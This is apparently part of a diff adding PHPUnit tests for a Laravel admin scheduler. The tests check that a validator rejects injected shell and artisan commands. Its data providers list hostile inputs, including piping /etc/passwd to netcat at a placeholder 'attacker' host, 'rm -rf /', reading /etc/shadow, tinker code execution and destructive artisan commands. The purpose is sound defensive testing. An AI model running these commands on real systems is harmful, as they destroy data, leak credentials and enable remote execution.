* @param string $command 차단목록 artisan command
*/
#[DataProvider('deniedArtisanCommandProvider')]
public function test_store_rejects_denylisted_artisan_command(string $command): void
{
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
'name' => 'artisan rce 시도',
'type' => ScheduleType::Artisan->value,
'command' => $command,
'expression' => '* * * * *',
'frequency' => 'everyMinute',
]);
$response->assertStatus(422);
$response->assertJsonValidationErrors('command');
}
/**
* 게이트를 켜고 실행 파일을 화이트리스트에 등록하면 정상 shell 스케줄 생성은 201 로 허용된다.
*/
public function test_store_allows_whitelisted_shell_command_when_gate_enabled(): void
{
config([
'schedule_security.shell.enabled' => true,
'schedule_security.shell.allowed_binaries' => ['backup.sh'],
]);
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
'name' => '정상 백업 스케줄',
'type' => ScheduleType::Shell->value,
'command' => 'backup.sh --full',
'expression' => '* * * * *',
'frequency' => 'everyMinute',
]);
$response->assertStatus(201);
}
/**
* 정상 artisan 스케줄 생성은 201 로 허용된다 (기본 허용 정책).
*/
public function test_store_allows_normal_artisan_command(): void
{
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
'name' => '캐시 정리 스케줄',
'type' => ScheduleType::Artisan->value,
'command' => 'cache:clear',
'expression' => '* * * * *',
'frequency' => 'everyMinute',
]);
$response->assertStatus(201);
}
/**
* 기존 shell 스케줄의 command 만 악성 값으로 바꾸는 update 요청도 422 로 거부된다
* (PATCH 에 type 이 없어도 저장된 타입으로 폴백 검증).
*/
public function test_update_rejects_malicious_shell_command_without_type_in_request(): void
{
$schedule = Schedule::create([
'name' => '기존 스케줄',
'type' => ScheduleType::Shell,
'command' => 'backup.sh',
'expression' => '* * * * *',
'is_active' => true,
]);
$response = $this->authRequest()->putJson(
route('api.admin.schedules.update', ['schedule' => $schedule->id]),
['command' => 'id; cat /etc/passwd']
);
$response->assertStatus(422);
$response->assertJsonValidationErrors('command');
}
// ========================================================================
// 실행 시점 — runSchedule 차단 (DB 직접 주입 값 방어)
// ========================================================================
/**
* 게이트가 꺼진 상태에서 DB 에 직접 심어진 shell 스케줄은 실행 시점에 차단된다
* (저장 검증을 우회해 들어온 값 방어 — 마지막 방어선).
*/
public function test_run_blocks_shell_schedule_when_gate_disabled(): void
{
Process::fake();
$schedule = Schedule::create([
'name' => 'DB 직접 주입 shell',
'type' => ScheduleType::Shell,
'command' => 'id',
'expression' => '* * * * *',
'is_active' => true,
]);
$this->assertScheduleRunIsBlocked($schedule);
Process::assertNothingRan();
}
/**
* DB 에 직접 심어진 차단목록 artisan 스케줄은 실행 시점에 차단된다.
*/
public function test_run_blocks_denylisted_artisan_schedule(): void
{
$schedule = Schedule::create([
'name' => 'DB 직접 주입 artisan',
'type' => ScheduleType::Artisan,
'command' => 'tinker --execute=system("id");',
'expression' => '* * * * *',
'is_active' => true,
]);
$this->assertScheduleRunIsBlocked($schedule);
}
/**
* 게이트 on + 화이트리스트 등록 시, 허용된 shell 스케줄은 인자 배열로 실행된다
* (문자열이 아닌 배열 → `/bin/sh -c` 미경유).
*/
public function test_run_executes_whitelisted_shell_command_as_argument_array(): void
{
config([
'schedule_security.shell.enabled' => true,
'schedule_security.shell.allowed_binaries' => ['backup.sh'],
]);
Process::fake(['*' => Process::result('done', '', 0)]);
$schedule = Schedule::create([
'name' => '정상 백업',
'type' => ScheduleType::Shell,
'command' => 'backup.sh --full /var/data',
'expression' => '* * * * *',
'is_active' => true,
]);
app(ScheduleService::class)->runSchedule($schedule);
// 셸 미경유 검증: Process 에 문자열이 아닌 인자 배열이 전달됨
Process::assertRan(function ($process) {
return $process->command === ['backup.sh', '--full', '/var/data'];
});
}
// ========================================================================
// Helpers
// ========================================================================
/**
* runSchedule 이 차단되어 실패 이력으로 기록되는지 단언합니다.
*
* runSchedule 은 실행 실패를 실패 이력으로 남긴 뒤 ValidationException 으로 전파한다.
*
* @param Schedule $schedule 실행 대상 스케줄
*/
private function assertScheduleRunIsBlocked(Schedule $schedule): void
{
try {
app(ScheduleService::class)->runSchedule($schedule);
$this->fail("차단되어야 하는 스케줄이 실행됨: {$schedule->command}");
} catch (ValidationException $e) {
// 실행 실패 경로 — 아래에서 실패 이력을 확인한다
}
$this->assertSame(
ScheduleResultStatus::Failed,
$schedule->fresh()->last_result,
"차단된 스케줄이 실패로 기록되지 않음: {$schedule->command}"
);
}
/**
* 인증된 JSON 요청 헬퍼.
*/
private function authRequest(): static
{
return $this->withHeaders([
'Authorization' => 'Bearer '.$this->token,
'Accept' => 'application/json',
]);
}
/**
* 스케줄 권한만 위임받은 저권한 "스케줄 운영자" 계정을 생성합니다.
*
* @return User is_super=0, core.schedules.read/create/update/run 만 보유
*/
private function createScheduleOperator(): User
{
$user = User::factory()->create();
$permissionIds = [];
foreach (['core.schedules.read', 'core.schedules.create', 'core.schedules.update', 'core.schedules.run'] as $identifier) {
$permission = Permission::firstOrCreate(
['identifier' => $identifier],
[
'name' => json_encode(['ko' => $identifier, 'en' => $identifier]),
'description' => json_encode(['ko' => $identifier, 'en' => $identifier]),
'extension_type' => 'core',
'extension_identifier' => 'core',
'type' => 'admin',
]
);
$permissionIds[] = $permission->id;
}
$operatorRole = Role::create([
'identifier' => 'schedule_operator_'.uniqid(),
'name' => json_encode(['ko' => '스케줄 운영자', 'en' => 'Schedule Operator']),
'is_active' => true,
]);
$operatorRole->permissions()->sync($permissionIds);
// isAdmin() 통과를 위한 admin 타입 역할 (설계상 admin 로그인 허용 — 진짜 결함은 능력 위임 범위)
$adminRole = Role::firstOrCreate(
['identifier' => 'admin'],
[
'name' => json_encode(['ko' => '관리자', 'en' => 'Administrator']),
'extension_type' => 'core',
'extension_identifier' => 'core',
'is_active' => true,
]
);
$user->roles()->attach($adminRole->id, ['assigned_at' => now()]);
$user->roles()->attach($operatorRole->id, ['assigned_at' => now()]);
return $user->fresh();
}
/**
* 게이트 꺼진 상태에서 거부되어야 하는 shell command 목록.
*
* @return array<string, array{string}>
*/
public static function maliciousShellCommandProvider(): array
{
return [
'임의 명령 (보고서 주 시나리오)' => ['id'],
'체이닝' => ['backup.sh; rm -rf /'],
'파이프 역쉘' => ['cat /etc/passwd | nc attacker 4444'],
'명령치환' => ['echo $(id)'],
];
}
/**
* 차단목록 artisan command 목록.
*
* @return array<string, array{string}>
*/
public static function deniedArtisanCommandProvider(): array
{
return [
'tinker 임의 PHP 실행' => ['tinker --execute=system("id");'],
'db:wipe 파괴적' => ['db:wipe'],
'migrate:fresh 파괴적' => ['migrate:fresh'],
];
}
}
@@ -0,0 +1,278 @@
<?php
namespace Tests\Unit\Support;
use App\Support\ScheduleCommandValidator;
use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
/**
* 스케줄 Shell/Artisan command 검증 유틸 테스트.
*
* 스케줄 생성 권한만 위임받은 계정이 임의 OS 명령·임의 PHP 코드를 실행하는 경로를
* 전수 매트릭스로 차단 검증한다 (셸 메타문자 주입, 화이트리스트 우회, 차단목록 우회).
*/
class ScheduleCommandValidatorTest extends TestCase
{
/**
* shell 게이트를 켜고 허용 실행 파일을 등록합니다.
*
* @param array<int, string> $binaries 허용 실행 파일 basename 목록
*/
private function enableShell(array $binaries = ['backup.sh']): void
{
config([
'schedule_security.shell.enabled' => true,
'schedule_security.shell.allowed_binaries' => $binaries,
]);
}
// ========================================================================
// Shell — 게이트
// ========================================================================
/**
* 게이트가 꺼져 있으면 화이트리스트에 있는 명령도 거부한다 (기본 차단).
*/
#[Test]
public function it_blocks_every_shell_command_when_the_gate_is_disabled(): void
{
config([
'schedule_security.shell.enabled' => false,
'schedule_security.shell.allowed_binaries' => ['backup.sh'],
]);
$this->assertFalse(ScheduleCommandValidator::isShellCommandAllowed('backup.sh'));
}
/**
* 게이트가 켜져 있어도 화이트리스트가 비어 있으면 모두 거부한다.
*/
#[Test]
public function it_blocks_every_shell_command_when_the_whitelist_is_empty(): void
{
$this->enableShell([]);
$this->assertFalse(ScheduleCommandValidator::isShellCommandAllowed('backup.sh'));
}
// ========================================================================
// Shell — 화이트리스트
// ========================================================================
/**
* 게이트 on + 화이트리스트 등록 실행 파일은 허용한다 (정상 운영 경로).
*
* @param string $command 허용되어야 하는 command
*/
#[Test]
#[DataProvider('allowedShellCommandProvider')]
public function it_allows_whitelisted_shell_binaries(string $command): void
{
$this->enableShell(['backup.sh']);
$this->assertTrue(
ScheduleCommandValidator::isShellCommandAllowed($command),
"허용되어야 하는 명령이 차단됨: {$command}"
);
}
/**
* 화이트리스트에 없는 실행 파일은 거부한다.
*
* @param string $command 차단되어야 하는 command
* @param string $reason 차단 사유 (실패 메시지용)
*/
#[Test]
#[DataProvider('blockedShellCommandProvider')]
public function it_blocks_shell_commands_outside_the_whitelist(string $command, string $reason): void
{
$this->enableShell(['backup.sh']);
$this->assertFalse(
ScheduleCommandValidator::isShellCommandAllowed($command),
"차단되어야 하는 명령이 통과함 ({$reason}): {$command}"
);
}
// ========================================================================
// Shell — 토큰화 (셸 미경유 실행 가능 여부)
// ========================================================================
/**
* 셸 메타문자가 섞인 명령은 토큰화를 거부한다 (인자배열 실행 불가 → 실행 차단).
*
* @param string $command 메타문자가 포함된 command
* @param string $reason 차단 사유 (실패 메시지용)
*/
#[Test]
#[DataProvider('shellMetacharacterCommandProvider')]
public function it_refuses_to_tokenize_commands_containing_shell_metacharacters(string $command, string $reason): void
{
$this->assertNull(
ScheduleCommandValidator::tokenizeShellCommand($command),
"토큰화가 거부되어야 하는 명령이 통과함 ({$reason}): {$command}"
);
}
/**
* 메타문자 없는 명령은 공백 기준 인자 배열로 토큰화한다.
*/
#[Test]
public function it_tokenizes_a_plain_command_into_an_argument_array(): void
{
$this->assertSame(
['backup.sh', '--full', '/var/data'],
ScheduleCommandValidator::tokenizeShellCommand('backup.sh --full /var/data')
);
}
/**
* 빈 문자열·공백만 있는 명령은 토큰화를 거부한다.
*/
#[Test]
public function it_refuses_to_tokenize_a_blank_command(): void
{
$this->assertNull(ScheduleCommandValidator::tokenizeShellCommand(' '));
}
// ========================================================================
// Artisan — 차단목록
// ========================================================================
/**
* 차단목록에 오른 artisan 명령은 거부한다 (코드 실행형·파괴적 명령).
*
* @param string $command 차단되어야 하는 command
*/
#[Test]
#[DataProvider('deniedArtisanCommandProvider')]
public function it_blocks_denylisted_artisan_commands(string $command): void
{
$this->assertFalse(
ScheduleCommandValidator::isArtisanCommandAllowed($command),
"차단되어야 하는 artisan 명령이 통과함: {$command}"
);
}
/**
* 차단목록에 없는 artisan 명령은 허용한다 (기본 허용).
*
* @param string $command 허용되어야 하는 command
*/
#[Test]
#[DataProvider('allowedArtisanCommandProvider')]
public function it_allows_artisan_commands_that_are_not_denylisted(string $command): void
{
$this->assertTrue(
ScheduleCommandValidator::isArtisanCommandAllowed($command),
"허용되어야 하는 artisan 명령이 차단됨: {$command}"
);
}
/**
* artisan 명령명은 첫 토큰으로 추출한다.
*/
#[Test]
public function it_extracts_the_artisan_command_name_from_the_first_token(): void
{
$this->assertSame('cache:clear', ScheduleCommandValidator::extractArtisanCommandName(' cache:clear --force '));
$this->assertNull(ScheduleCommandValidator::extractArtisanCommandName(' '));
}
// ========================================================================
// Data Providers
// ========================================================================
/**
* 허용되어야 하는 shell command 목록.
*
* @return array<string, array{string}>
*/
public static function allowedShellCommandProvider(): array
{
return [
'실행 파일 단독' => ['backup.sh'],
'인자 포함' => ['backup.sh --full /var/data'],
'절대경로 (basename 일치)' => ['/usr/local/bin/backup.sh --full'],
'앞뒤 공백' => [' backup.sh '],
];
}
/**
* 차단되어야 하는 shell command 목록.
*
* @return array<string, array{string, string}>
*/
public static function blockedShellCommandProvider(): array
{
return [
'화이트리스트 외 명령' => ['id', '보고서 주 시나리오 — 임의 명령 실행'],
'화이트리스트 외 절대경로' => ['/bin/sh', '셸 자체 실행'],
'접두사 확장 우회' => ['backup.sh.evil', 'basename 완전 일치가 아님'],
'접미사 확장 우회' => ['evil-backup.sh', 'basename 완전 일치가 아님'],
'체이닝으로 화이트리스트 위장' => ['backup.sh; id', '메타문자 — 토큰화 거부'],
'파이프로 화이트리스트 위장' => ['backup.sh | nc attacker 4444', '메타문자 — 토큰화 거부'],
'명령치환으로 화이트리스트 위장' => ['backup.sh $(id)', '메타문자 — 토큰화 거부'],
'빈 명령' => ['', '빈 문자열'],
];
}
/**
* 셸 해석을 유발하는 메타문자가 포함된 command 목록.
*
* @return array<string, array{string, string}>
*/
public static function shellMetacharacterCommandProvider(): array
{
return [
'세미콜론 체이닝' => ['backup.sh; rm -rf /', '세미콜론'],
'파이프' => ['cat /etc/passwd | nc attacker 4444', '파이프'],
'백그라운드 실행' => ['backup.sh & id', '앰퍼샌드'],
'명령치환 $()' => ['echo $(id)', '달러 + 괄호'],
'명령치환 백틱' => ['echo `id`', '백틱'],
'출력 리다이렉션' => ['backup.sh > /etc/crontab', '리다이렉션'],
'입력 리다이렉션' => ['backup.sh < /etc/shadow', '리다이렉션'],
'와일드카드' => ['rm -rf /var/*', '글롭'],
'따옴표' => ['backup.sh "a b"', '따옴표 — 순진한 토큰화 불가'],
'개행 주입' => ["backup.sh\nid", '개행'],
];
}
/**
* 차단되어야 하는 artisan command 목록.
*
* @return array<string, array{string}>
*/
public static function deniedArtisanCommandProvider(): array
{
return [
'tinker — 임의 PHP 실행' => ['tinker --execute=system("id");'],
'tinker 단독' => ['tinker'],
'대소문자 우회' => ['TINKER --execute=1'],
'db:wipe — 파괴적' => ['db:wipe'],
'migrate:fresh — 파괴적' => ['migrate:fresh --seed'],
'migrate:reset' => ['migrate:reset'],
'migrate:rollback' => ['migrate:rollback'],
'key:generate' => ['key:generate'],
'env:decrypt' => ['env:decrypt'],
'schedule:run' => ['schedule:run'],
'빈 명령' => [''],
];
}
/**
* 허용되어야 하는 artisan command 목록 (정상 운영 명령).
*
* @return array<string, array{string}>
*/
public static function allowedArtisanCommandProvider(): array
{
return [
'cache:clear' => ['cache:clear'],
'인자 포함' => ['queue:work --stop-when-empty'],
'inspire' => ['inspire'],
];
}
}